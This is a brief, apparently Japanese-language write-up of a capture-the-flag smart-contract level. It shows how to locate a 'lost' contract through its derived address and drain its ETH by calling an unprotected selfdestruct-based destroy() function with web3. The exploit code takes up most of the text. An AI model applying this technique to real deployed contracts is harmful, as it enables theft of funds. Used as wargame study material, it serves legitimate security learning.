CREATE keccack256(address, nonce)
Goal: To withdraw ETH from hidden Contract
Finding Contract Address
Destroy it
Etherscanをみたらわかるよ
Destroy Functionを実行する
contract SimpleToken {
...
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
実行する方法 >> call, delegatecallやら!
functionSignature = {
name: 'destroy',
type: 'function',
inputs: [
{
type: 'address',
name: '_to'
}
]
}
params = [player]
data = web3.eth.abi.encodeFunctionCall(functionSignature, params)
await web3.eth.sendTransaction({from: player, to: tokenAddr, data})